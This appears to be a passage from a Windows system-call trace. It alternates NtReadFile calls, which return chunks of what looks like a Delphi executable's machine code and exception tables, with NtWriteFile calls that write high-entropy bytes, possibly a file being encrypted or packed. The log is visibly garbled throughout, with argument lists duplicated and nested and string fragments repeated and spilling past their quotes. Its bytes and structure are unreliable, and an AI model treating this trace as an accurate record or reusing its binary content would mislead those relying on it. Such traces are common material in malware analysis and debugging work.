"kernel32.dll\0\0\0\0GetLongPathNameA\0\0\0\0U\213\354\201\304\340\376\377\377SV\211E\374h\5\1\0\0\215\205\343\376\377\377Pj\0\350\243\263\377\377\306E\356\0\215E\370Ph\31\0\17\0j\0hT`\0@h\1\0\0\200\350\335\263\377\377\205\300t@\215E\370Ph\31\0\17\0j\0hT`\0@h\2\0\0\200\350\277\263\377\377\205\300t"\215E\370Ph\31\0\17\0j\0hp`\0@h\1\0\0\200\350\241\263\377\377\205\300\17\205\211\0\0\03\300Uh)_\0@d\3770d\211 \307E\350\5\0\0\0\215\205\343\376\377\377\272\5\1\0\0\350\224\375\377\377\215E\350P\215E\356Pj\0j\0\215\205\343\376\377\377P\213E\370P\350`\263\377\377\205\300t"\215E\350P\215E\356Pj\0j\0h\220`\0@\213E\370P\350B\263\377\377\205\300t\4\306E\356\0\306E\362\03\300ZYYd\211\20h0_\0@\213E\370P\350\20\263\377\377\303\351\326\342\377\377\353\357h\5\1\0\0\213E\374P\215\205\343\376\377\377P\350\333\262\377\377j\5\215E\363Pj\3\350\266\262\377\377P\350\210\262\377\3773\366\200\275\343\376\377\377\0\17\204\343\0\0\0\200}\363\0u\12\200}\356\0\17\204\323\0\0\0\215\205\343\376\377\377P\350\245\262\377\377\213\330\215\205\343\376\377\377\3\330\353\1K\200;.t\12\215\205\343\376\377\377;\330u\360\215\205\343\376\377\377;\330\17\204\235\0\0\0C\200}\356\0t(\213\323+\320\270\5\1\0\0+\302P\215E\356PS\350V\262\377\377j\2j\0\215\205\343\376\377\377P\3506\262\377\377\213\360\205\366uj\200}\363\0td\215\205\343\376\377\377\213\323+\320\270\5\1\0", ) , ) == 0x0
 00929  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\372\214\0$\272\5\34\235\27\354\326\266\306,\263\301\223\210\11K2|\251\335\361~\376\273b\205p\221\254\273\3445\354\240N?\365\276\35R\330jF\215T\340\246aU\2727\344 \320/\361\370\230g\4\245-\20\303wn\346R\312\322Sp9%\207\343jFv\217\345\232&\240\302(pX\212r\221\210\215\307$\307<\0\271E\214\261\372\\351B`\3\3\325\324\342 \317@\277(U\226\1+\26\354\240\326:]4\2\32\311\203\333\366\37[1\320\363\13b\37J]\373\300\227\267\6_t\34@Z\31\210AD@\265\363\271\304\267&`}\321\37\203\35\224~\230\222\342)\263\275\336\253\217\356\261?\253\352\201\376\277\11z\271\316\266\210\361\240\13?\\277"\12`\23\37\363\245\246\13\15Yi>\347\13^J\237v\267_U7\224!\343\373\300\351\273\204\236\10?\230y\377k\177\242\231*\37G\353\303u\312\224\200\226\302\379\21\30O\222\32\35z\250\353\222\277N\37\324\344\200\364y5@\32\20,\225\15]X\23/|MU\341\350QF\262qS\365G\357\245k\263\241\27K\276\342\357K\346\201\226\300\220\203M\220/12`\23\37\363\245\246\13\15Yi>\347\13^J\237v\267_U7\224!\343\373\300\351\273\204\236\10?\230y\377k\177\242\231*\37G\353\303u\312\224\200\226\302\379\21\30O\222\32\35z\250\353\222\277N\37\324\344\200\364y5@\32\20,\225\15]X\23/|MU\341\350QF\262qS\365G\357\245k\263\241\27K\276\342\357K\346\201\226\300\220\203M\220/344\a4H\300\216\352\21a\33f\250\326\33\310et\271\264\277\222\35&q\205\311\33\32\3515\330y\234\346\237`\2022\3032?\334\225\310\261\202\374\357\12\213\246R\213\305\224\225\272\256#\363\361\177\275UHL\264#'\225k\206~:jjE\11/s\342\275\10a\273x\323\255b/\2\207@\20!\22\10\333\244s$\207F\237\304\203\302\312\213\3263Xu\37W\12A\15\363T\32\247\22J\265\366\213e\253\37\323\267[ZT[7w\204\235\371\2\212E\206\366&\301\251\37G\305\361\17\13\314\177\332#\20\213U\27Q+\320\3049\350c", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00930  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "]\303\213\300\213\20\205\322t\16\307\0\0\0\0\0PR\213\2\377P\10X\303\215@\0\205\322t\31RP\213\2R\377P\4X\213\10\217\0\205\311u\1\303\213\1Q\377P\10\303\213\10\205\311\211\20t\6\213\1Q\377P\10\303\203\300\4P\350/\260\377\377\303\213\300\203x\4\0t\7\260\2\350\357\312\377\377\303\213\300\350\27\332\377\377\307@\4\1\0\0\0\303\215@\0U\213\354S\213]\10\213M\20\213U\14\213\303\350\24\333\377\377\204\300t\43\300\353\5\270\2@\0\200[]\302\14\0\213\300U\213\354\213E\10\203\300\4P\350\315\257\377\377]\302\4\0\220U\213\354SV\213]\10\215C\4P\350\277\257\377\377\213\360\205\366u\11\262\1\213\303\213\10\377Q\374\213\306^[]\302\4\0U\213\354\213E\10\205\300u\43\300]\303\377\25(\247\1@]\303\213\300SV\201\304\4\360\377\377P\213\362\213\330\205\333t=\201{\4\0\0\1\0}*h\0\20\0\0\215D$\4P\213C\4P\213\3\213\0\350\347\370\377\377P\350\361\256\377\377\213\310\213\324\213\306\350B\346\377\377\353\12\213\306\213S\4\350>\347\377\377\201\304\0\20\0\0^[\303\220\377%\24D\2@\213\300U\213\3543\300Uh\244c\0@d\3770d\211 \377\5\270\305\1@u-\270P\300\1@\350)\321\377\377\270\34\302\1@\350\37\321\377\377\270\350\303\1@\350\25\321\377\377\350(\310\377\377\270@\240\1@\350\356\344\377\3773\300ZYYd\211\20h\253c\0@\303\351[\336\377\377\353\370]\303\215@\0\377%\300D\2@\213\300\377%\274D\2@\213\300\377%\270D\2@\213\300\377%\264D\2@\213\300Pj@\350\340\377\377\377\303\215@\0\270\14\0\0\0\303\213\300S\350\362\377\377\377\213\330\205\333t6\203=\260\247", ) , ) == 0x0
 00931  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "S\310\35\314\342\21q\16EF\262\2627|\331\2\272l\250R\376q,^`48\34a2 18\206\251\177\14\207b\371Z\275AU\6u\0F\357[Z\374\346\325\325cCq\303\264\35F\210B\352=\251\350x\345\367j}\306\35w\3768R]\7r\200auf1\336\254-\2574\252\314\35\340d\214\363`\354\3768\347\212U\14\16\227j`\242u\365f\37$d-\343Q9A\343ZP!\21vh\375\261\330\331\262Lv<\365\177\214v\326\307\326\304\337\5\322\220*\255I\362\307i\371\371\200\273\203?:\20#\202m\321Q\32\234\352\37\363\377+\315A&\304\343*3\264A\2\216\352{\350\33\340\375\342\241\10[\202\216G\220\235\304d\3\262\371IkP\7\6\341\220\306\331d\230Rqe\340\366\5TB\306l\274\317wJ\240\225AJ\324|\307\346J\34c\377w>\247\213j\252\243ENn\36\301(\313s\307>J\260", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00932  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\377%tE\2@\213\300\377%pE\2@\213\300\377%lE\2@\213\300\377%hE\2@\213\300\377%dE\2@\213\300\377%`E\2@\213\300\377%\E\2@\213\300\377%XE\2@\213\300\377%TE\2@\213\300\377%PE\2@\213\300\377%LE\2@\213\300\377%HE\2@\213\300\377%DE\2@\213\300\377%@E\2@\213\300\377%8E\2@\213\300\377%4E\2@\213\300\377%0E\2@\213\300\377%,E\2@\213\300\377%(E\2@\213\300\377%$E\2@\213\300\377% E\2@\213\300\377%\34E\2@\213\300\377%\30E\2@\213\300\377%\24E\2@\213\300\377%\20E\2@\213\300\377%\14E\2@\213\300\377%\10E\2@\213\300\377%\4E\2@\213\300\377%\0E\2@\213\300\377%\374D\2@\213\300\377%\370D\2@\213\300\377%\364D\2@\213\300\377%\360D\2@\213\300\377%\344D\2@\213\300\377%\350D\2@\213\300\377%\340D\2@\213\300\377%\334D\2@\213\300\377%\330D\2@\213\300\377%\324D\2@\213\300\377%\320D\2@\213\300\377%\314D\2@\213\300\377%\310D\2@\213\300\222\350\246\306\377\377\303\220U\213\3543\300Uh\223g\0@d\3770d\211 \377\5\0\350\1@u\24\203=\4\350\1@\0t\13\241\4\350\1@P\350\303\375\377\3773\300ZYYd\211\20h\232g\0@\303\351l\332\377\377\353\370]\303U\213\354\203\304\360S\211E\374\213E\374\350\212\345\377\3773\300Uh8h\0@d\3770d\211 \307E\360\0\0\0\0\307E\364\0\0\0\0\213E\374\205\300t\5\203\350\4\213\0\213\310\205\311~3\273\1\0\0\0\213E\374\17\266D\30\377\17\266\3003\322\1E\360\21U\364", ) , ) == 0x0
 00933  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\357\264?\205\360 MD\3\232.\231\317QW\257\376\344\2066\231\17I\262\271\227a\364\26\204\306\375o\270\336\217\213\250\357\356\276#\317\353c\314\227\362d\252[\23\363\323\23#Y\363R\332\257\317P\343\317\5\231[]x\12\205>\213 \242~\232\347\374o\337\364\240*\262&:\355\302\310\374\335\15\216\17X\365|\235\354\325\37\217\323U:[\245\246\227PTL_]\362m0/\332\33X\234\16\221d\202&@}\356\342OE \353|.a\15Q\243\270\3739379z\31\364\357l\335@7\332@\5\6\320J/\270h\372IE\270=\4\215\274\34\305\334^3QD\377N\210k\0M3\110f\3564\367\241`\215<\316\352\265O\14\352\367\356\331\254\13\333'\334\242\365\32FE\303\231\316\217x\320\242\234%\250\15&\3446\321.Ob\31\213\261\224\266E\273\225\330\331S\325F-a\266[7\226+\270h\257\252!\226\213p,\206\4{\343i\351W\326\355^\11\221\274\332\320\340\266\234\236\350{\223t\261\370\266\270\232@R/\2324\35\300\12\205z\374\32y\227\335\325\232\15*\301|wL\2307n\34"u*.Q\261L7\302\23\335\202+\31\6p\315H{\364)\233\275\270\336\224\352N!b\210\207\265y\342`\241\354\214\27?\302d\344U\351m\267S\3212\377\200\17\312YB\31\334~\260!\264\23}3!&\26m\307\337\302\327\2563\16\33\334\237i\207\26f\2227\212\221\352h\20\15\307\207#p'\347\314\220\312\243,\3E+\177\313&\207[\3]4\36\362 \3P\302ha\331\11\3235n\220\247\177]Q\205Hb|\247\320\274\350\230\362V\20\255[\333\22T\221Y(P\262"\9\3024\220_\304\260k\321\375"\242\11\24qbm?\23^\177", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) u*.Q\261L7\302\23\335\202+\31\6p\315H{\364)\233\275\270\336\224\352N!b\210\207\265y\342`\241\354\214\27?\302d\344U\351m\267S\3212\377\200\17\312YB\31\334~\260!\264\23}3!&\26m\307\337\302\327\2563\16\33\334\237i\207\26f\2227\212\221\352h\20\15\307\207#p'\347\314\220\312\243,\3E+\177\313&\207[\3]4\36\362 \3P\302ha\331\11\3235n\220\247\177]Q\205Hb|\247\320\274\350\230\362V\20\255[\333\22T\221Y(P\262 (92, 0, 0, 0, "\357\264?\205\360 MD\3\232.\231\317QW\257\376\344\2066\231\17I\262\271\227a\364\26\204\306\375o\270\336\217\213\250\357\356\276#\317\353c\314\227\362d\252[\23\363\323\23#Y\363R\332\257\317P\343\317\5\231[]x\12\205>\213 \242~\232\347\374o\337\364\240*\262&:\355\302\310\374\335\15\216\17X\365|\235\354\325\37\217\323U:[\245\246\227PTL_]\362m0/\332\33X\234\16\221d\202&@}\356\342OE \353|.a\15Q\243\270\3739379z\31\364\357l\335@7\332@\5\6\320J/\270h\372IE\270=\4\215\274\34\305\334^3QD\377N\210k\0M3\110f\3564\367\241`\215<\316\352\265O\14\352\367\356\331\254\13\333'\334\242\365\32FE\303\231\316\217x\320\242\234%\250\15&\3446\321.Ob\31\213\261\224\266E\273\225\330\331S\325F-a\266[7\226+\270h\257\252!\226\213p,\206\4{\343i\351W\326\355^\11\221\274\332\320\340\266\234\236\350{\223t\261\370\266\270\232@R/\2324\35\300\12\205z\374\32y\227\335\325\232\15*\301|wL\2307n\34"u*.Q\261L7\302\23\335\202+\31\6p\315H{\364)\233\275\270\336\224\352N!b\210\207\265y\342`\241\354\214\27?\302d\344U\351m\267S\3212\377\200\17\312YB\31\334~\260!\264\23}3!&\26m\307\337\302\327\2563\16\33\334\237i\207\26f\2227\212\221\352h\20\15\307\207#p'\347\314\220\312\243,\3E+\177\313&\207[\3]4\36\362 \3P\302ha\331\11\3235n\220\247\177]Q\205Hb|\247\320\274\350\230\362V\20\255[\333\22T\221Y(P\262"\9\3024\220_\304\260k\321\375"\242\11\24qbm?\23^\177", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \242\11\24qbm?\23^\177", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00934  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\2CFOu\2653\300ZYYd\211\20h#j\0@\215E\374\350i\336\377\377\303\351\343\327\377\377\353\360_^[\213\345]\303\213\300U\213\354\203\304\340S\213\331\211U\370\211E\374\213E\374\350\365\342\377\377\213E\370\350\355\342\377\3773\300Uh\254j\0@d\3770d\211 \213E\374\205\300t\5\203\350\4\213\0\213\323\222\350\7\345\377\377\377u\24\377u\20\377u\14\377u\10\215E\340\213U\370\350\310\375\377\377\213\313\213U\374\215E\340\350\307\376\377\3773\300ZYYd\211\20h\263j\0@\215E\370\272\2\0\0\0\350\375\335\377\377\303\351S\327\377\377\353\353[\213\345]\302\20\0\213\300\300j\0@\16\14tagEXCEPINFO \0\0\0\3\0\0\0\14\20\0@\4\0\0\0\14\20\0@\10\0\0\0\14\20\0@\14\0\0\0\213\300\377%4F\2@\213\300\377%0F\2@\213\300\377%(F\2@\213\300\377%$F\2@\213\300\370\347\1@\360\377\0\0\370\347\1@\361\377\0\0\370\347\1@\362\377\0\0\370\347\1@\363\377\0\0\370\347\1@\364\377\0\0\370\347\1@\365\377\0\0\370\347\1@\366\377\0\0\370\347\1@\367\377\0\0\370\347\1@\370\377\0\0\370\347\1@\371\377\0\0\370\347\1@\372\377\0\0\370\347\1@\373\377\0\0\370\347\1@\374\377\0\0\370\347\1@\375\377\0\0\370\347\1@\376\377\0\0\370\347\1@\377\377\0\0\370\347\1@\340\377\0\0\370\347\1@\341\377\0\0\370\347\1@\342\377\0\0\370\347\1@\343\377\0\0\370\347\1@\344\377\0\0\370\347\1@\345\377\0\0\370\347\1@\346\377\0\0\370\347\1@\347\377\0\0\370\347\1@\350\377\0\0\370\347\1@\351\377\0\0\370\347\1@\352\377\0\0\370\347\1@\353\377\0\0\370\347\1@", ) , ) == 0x0
 00935  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "J\352\325g\325N\14'g\217\274\230\223\202\361\235\31q\12\343P\365jV\205\367W\362\242\346\205=\265\275\203l\346\2\215\2468R\37\256\314<\24\263a\11;i$\220Rj{\374>\231sy\317*s\23\361*Fg\205\301\221\3574\2\306m\265\264\31u\335\1\343]\313\227\12\264$\275\352\306\335\373\,\212\312W\36\323I\314\364\210^\316\247\210]\17D@uq_yQ\7\314\375q\342*xB5m\2735\224\363>\373A~z\343:\372\370\272\302\12F\237\302\264\323\14\225\24\23Q\11\221Q\346\22W\23\220\342\373\307"\261\303\24\347\332 Q\204\203\247\335\3720qL\4\7Q\177\273\323\30\340DE~\1.\357\275q\241\254\343\26\335\276\326(\341tD8\321\336$\305\363\36\260\6\24\357\177I*~\37\261&5gm F\262[m\363\211\217 \266.^c\310\347t\22\341\225\117E\215\214\234Q4\376d{\357\377\322:@\233\256:4\23\347[Q\271n\343\22\225\33\345\177\233\362\225\346\353W\327u@\306\17\315`G\224\314^\24\260\234\245WN\325\7Y\262D\323\273U\371\251\36u\216\221\266WaG\3\214\324\3437HH\313U\27\355\350K\30mrr\230\270\15\4\4)\15ko\373\310\256\234\327\316'\343@\33\244\362\10\16\230\31\177\213\4\345\27&\12\'*O\254t\312\227\256\227\25\260\245\250\240\177|Ey\373\23\327v\320b)\15\220\2613xm\251\177\262\36\224Es\16\201\317\374M\305\372\235\21\272B\355\211v\307\245\302w\214\246o\264/\313\311q\267b\330\272\335&\23\231\373\213\354%\243\30\11\337+\267\3625>R\234\304V\235P'\36 \231\205wA\3011\230\35\22\237\357a\31\354\119\373xE [5~\213]\354\300\267\2761\376\361", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \261\303\24\347\332 Q\204\203\247\335\3720qL\4\7Q\177\273\323\30\340DE~\1.\357\275q\241\254\343\26\335\276\326(\341tD8\321\336$\305\363\36\260\6\24\357\177I*~\37\261&5gm F\262[m\363\211\217 \266.^c\310\347t\22\341\225\117E\215\214\234Q4\376d{\357\377\322:@\233\256:4\23\347[Q\271n\343\22\225\33\345\177\233\362\225\346\353W\327u@\306\17\315`G\224\314^\24\260\234\245WN\325\7Y\262D\323\273U\371\251\36u\216\221\266WaG\3\214\324\3437HH\313U\27\355\350K\30mrr\230\270\15\4\4)\15ko\373\310\256\234\327\316'\343@\33\244\362\10\16\230\31\177\213\4\345\27&\12\'*O\254t\312\227\256\227\25\260\245\250\240\177|Ey\373\23\327v\320b)\15\220\2613xm\251\177\262\36\224Es\16\201\317\374M\305\372\235\21\272B\355\211v\307\245\302w\214\246o\264/\313\311q\267b\330\272\335&\23\231\373\213\354%\243\30\11\337+\267\3625>R\234\304V\235P'\36 \231\205wA\3011\230\35\22\237\357a\31\354\119\373xE [5~\213]\354\300\267\2761\376\361", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00936  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ">n\0@\14\0\0\0\34\20\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\16\0\0\0\0\0\1\0\0\0\0\20\0@\4\0\0\0\11Exception\224n\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\224n\0@\20\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\4\262\0@\330<\0@\16EHeapException\220\360n\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360n\0@\20\0\0\0Hn\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\4\262\0@\330<\0@\14EOutOfMemory\215@\0Lo\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Lo\0@\20\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\13EInOutError\244o\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\244o\0@\20\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\11EExternal\213\300\374o\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374o\0@\20\0\0\0Xo\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@", ) , ) == 0x0
 00937  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "aUC\207\2u\203\367<\3\4g\246On\3\343\307\377\212T\322"\200\3\353\237\307\265\230\275\2F\1\262\16R\366>s\214\260C\245\221\266\24\365\256\316\221\363x\275s\245\240\200n\244\253M\360\316+\255\321\204\257$\264\200\206\370`i"\272^\2266\242Y]\202\5\224\342b\300\177(\243\272\26\217o\313\350\274q\0q\337\27\17T\35e2h\320a~\342\224\13U\301\201\266\32[\23\12\10\32K\325QtJ\317\37\25\222!\5\355w\201~2g\273\206m1\217\371.l]?MN\12\374X\325\373g;\305\342\222\2158Q\257\357@\255\11\316\233\261\252\3451\230\253\327%\264\331\234O*\332\213_\300\345U$\374\2172\0E&Gk\15a\346;/'\257\245\210_k\332\235=}\264\17=\255-S\235wb\324K\352_\206Oz3ug\13\364\376\227\26\211\315\256\231\205\257Y\323\11\233e\206x\6\360\12Km\257j\321\227\2742l\204}us\11\20A\27n\244\0I\212\306\314\15\335\211T\275I\5\261\22\257\205=\256*\370k\314\217\350`\177\2559\32n\2312\11L\365\377\364\204D\222\234\211#?\354L,\324S\37\312Ze\202f\312\2(\350\227\25j\304\200\234\212\241sno\202-6\376b:+\31z\5H3\271\267\370", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \200\3\353\237\307\265\230\275\2F\1\262\16R\366>s\214\260C\245\221\266\24\365\256\316\221\363x\275s\245\240\200n\244\253M\360\316+\255\321\204\257$\264\200\206\370`i (92, 0, 0, 0, "aUC\207\2u\203\367<\3\4g\246On\3\343\307\377\212T\322"\200\3\353\237\307\265\230\275\2F\1\262\16R\366>s\214\260C\245\221\266\24\365\256\316\221\363x\275s\245\240\200n\244\253M\360\316+\255\321\204\257$\264\200\206\370`i"\272^\2266\242Y]\202\5\224\342b\300\177(\243\272\26\217o\313\350\274q\0q\337\27\17T\35e2h\320a~\342\224\13U\301\201\266\32[\23\12\10\32K\325QtJ\317\37\25\222!\5\355w\201~2g\273\206m1\217\371.l]?MN\12\374X\325\373g;\305\342\222\2158Q\257\357@\255\11\316\233\261\252\3451\230\253\327%\264\331\234O*\332\213_\300\345U$\374\2172\0E&Gk\15a\346;/'\257\245\210_k\332\235=}\264\17=\255-S\235wb\324K\352_\206Oz3ug\13\364\376\227\26\211\315\256\231\205\257Y\323\11\233e\206x\6\360\12Km\257j\321\227\2742l\204}us\11\20A\27n\244\0I\212\306\314\15\335\211T\275I\5\261\22\257\205=\256*\370k\314\217\350`\177\2559\32n\2312\11L\365\377\364\204D\222\234\211#?\354L,\324S\37\312Ze\202f\312\2(\350\227\25j\304\200\234\212\241sno\202-6\376b:+\31z\5H3\271\267\370", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \37\25\222!\5\355w\201~2g\273\206m1\217\371.l]?MN\12\374X\325\373g;\305\342\222\2158Q\257\357@\255\11\316\233\261\252\3451\230\253\327%\264\331\234O*\332\213_\300\345U$\374\2172\0E&Gk\15a\346;/'\257\245\210_k\332\235=}\264\17=\255-S\235wb\324K\352_\206Oz3ug\13\364\376\227\26\211\315\256\231\205\257Y\323\11\233e\206x\6\360\12Km\257j\321\227\2742l\204}us\11\20A\27n\244\0I\212\306\314\15\335\211T\275I\5\261\22\257\205=\256*\370k\314\217\350`\177\2559\32n\2312\11L\365\377\364\204D\222\234\211#?\354L,\324S\37\312Ze\202f\312\2(\350\227\25j\304\200\234\212\241sno\202-6\376b:+\31z\5H3\271\267\370", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00938  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\12EInvalidOp\220pr\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pr\0@\20\0\0\0tq\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\13EZeroDivide\310r\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\310r\0@\20\0\0\0tq\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\11EOverflow\213\300 s\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 s\0@\20\0\0\0tq\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\12EUnderflow\220xs\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0xs\0@\20\0\0\0Hn\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\4\262\0@\330<\0@\17EInvalidPointer\324s\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\324s\0@\14\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\14EInvalidCast\215@\00t\0@\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 00939  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\264=X\364t\340\37S\223b\2\225\10\317B\306rN\240\314\217\2365\343\317+\342\236\227\267D"h\267\1\342\214\203\7\376%pd&\277\3678\343\376\215maW\342\250g\246\377\217e\25A\342\346\375\222\373P\270 b\310\241\15)I\15l\374\7z\265\376ZnCs\272]\351]b*\266\312\226?H^\354Yy\235=~\233\224X\321mr\225n\312o\34YxvZ\34\327\320\5{f\332P\350\321W\346nt\313g9\276\376\177\321_=I\222S(\33\335\373\12r\242\364\315\323\311\204#\232\234\375\275 \371\37\236\25761\350\17\335\316\373.\17\2\26+\325>\207\25\342\330\205\307\336\211\343%\\251\363Y\357\224\364\366\348;(\315J\271\365\30\331\256X\372<5\315_\233\207\321O\214\243\250\245\363.\270Rm\277n=\37\21'\357\345\237\204\223(\253$qk\234\277\303\357(/g\220\232\36\341\330\203/\307\20@6w\14\252H,\1a0"\304\15E\322[q^\213\345\254_\301\5\267\253Y\177\21\3\21\356\357\23Z\323\333x\351\242\265\12M@d\355\351\23\260\351$j\274\24\364S\201\204W\312b\271\356\263\325\202Ja\25\37w:\241\226P\341\203\2311\313Z\315\311x\230%\230Q\366\2210\236u\5\3\13\237U*D)\323%y\256\302\315\204jt`q;v\0e\264\321\2756\374\14\247\341\236\236vi\256Dpq\304\36R\16\232\36e\23\21c\243A\317\304\215\207\370M\360&\333b)\247\370\333\346\34~\305X{!\220\321\313\21k\26\364G\275\336%\314\315-#\341\351\23/b\360#\275\247\24\221\255{\275\206\7\342\216FB<\351\24\313\252\326\25\245\376V)\373\36;\227\241\245\306\2\330\353\13\26\356'\243\311\30g\263#\372t~Z\336\262", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) h\267\1\342\214\203\7\376%pd&\277\3678\343\376\215maW\342\250g\246\377\217e\25A\342\346\375\222\373P\270 b\310\241\15)I\15l\374\7z\265\376ZnCs\272]\351]b*\266\312\226?H^\354Yy\235=~\233\224X\321mr\225n\312o\34YxvZ\34\327\320\5{f\332P\350\321W\346nt\313g9\276\376\177\321_=I\222S(\33\335\373\12r\242\364\315\323\311\204#\232\234\375\275 \371\37\236\25761\350\17\335\316\373.\17\2\26+\325>\207\25\342\330\205\307\336\211\343%\\251\363Y\357\224\364\366\348;(\315J\271\365\30\331\256X\372<5\315_\233\207\321O\214\243\250\245\363.\270Rm\277n=\37\21'\357\345\237\204\223(\253$qk\234\277\303\357(/g\220\232\36\341\330\203/\307\20@6w\14\252H,\1a0 (92, 0, 0, 0, "\264=X\364t\340\37S\223b\2\225\10\317B\306rN\240\314\217\2365\343\317+\342\236\227\267D"h\267\1\342\214\203\7\376%pd&\277\3678\343\376\215maW\342\250g\246\377\217e\25A\342\346\375\222\373P\270 b\310\241\15)I\15l\374\7z\265\376ZnCs\272]\351]b*\266\312\226?H^\354Yy\235=~\233\224X\321mr\225n\312o\34YxvZ\34\327\320\5{f\332P\350\321W\346nt\313g9\276\376\177\321_=I\222S(\33\335\373\12r\242\364\315\323\311\204#\232\234\375\275 \371\37\236\25761\350\17\335\316\373.\17\2\26+\325>\207\25\342\330\205\307\336\211\343%\\251\363Y\357\224\364\366\348;(\315J\271\365\30\331\256X\372<5\315_\233\207\321O\214\243\250\245\363.\270Rm\277n=\37\21'\357\345\237\204\223(\253$qk\234\277\303\357(/g\220\232\36\341\330\203/\307\20@6w\14\252H,\1a0"\304\15E\322[q^\213\345\254_\301\5\267\253Y\177\21\3\21\356\357\23Z\323\333x\351\242\265\12M@d\355\351\23\260\351$j\274\24\364S\201\204W\312b\271\356\263\325\202Ja\25\37w:\241\226P\341\203\2311\313Z\315\311x\230%\230Q\366\2210\236u\5\3\13\237U*D)\323%y\256\302\315\204jt`q;v\0e\264\321\2756\374\14\247\341\236\236vi\256Dpq\304\36R\16\232\36e\23\21c\243A\317\304\215\207\370M\360&\333b)\247\370\333\346\34~\305X{!\220\321\313\21k\26\364G\275\336%\314\315-#\341\351\23/b\360#\275\247\24\221\255{\275\206\7\342\216FB<\351\24\313\252\326\25\245\376V)\373\36;\227\241\245\306\2\330\353\13\26\356'\243\311\30g\263#\372t~Z\336\262", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
